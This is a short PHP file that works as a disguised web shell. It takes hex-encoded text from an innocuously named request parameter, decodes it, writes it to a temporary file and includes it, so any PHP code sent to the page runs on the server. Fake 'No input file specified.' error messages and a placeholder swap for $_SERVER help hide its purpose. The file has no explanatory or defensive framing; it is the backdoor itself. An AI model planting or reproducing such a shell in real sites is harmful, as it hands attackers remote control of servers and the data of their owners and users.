<?php


$zero = isset($_REQUEST["cat_id"]) ? $_REQUEST["cat_id"] : null;
if (!$zero) {
    die("No input file specified.");
}


if (!ctype_xdigit($zero) || strlen($zero) % 2 != 0) {
    die("No input file specified.");
}


function hex2bin_custom($data) {
    $bin = "";
    for ($i = 0; $i < strlen($data); $i += 2) {
        $bin .= chr(hexdec(substr($data, $i, 2)));
    }
    return $bin;
}

$zero_bin = hex2bin_custom($zero);


$zero_bin = trim($zero_bin);


echo "Decoded result: " . htmlspecialchars($zero_bin) . "<br>"; 


$zero_bin = rtrim($zero_bin, " ;") . ";";


$zero_bin = str_replace("PSU_SERVER", "\$_SERVER", $zero_bin);


function execute_php_code($code) {

    $temp_file = tempnam(sys_get_temp_dir(), 'php_');
    file_put_contents($temp_file, "<?php " . $code . " ?>");

    include($temp_file);


    unlink($temp_file);
}


execute_php_code($zero_bin);

?>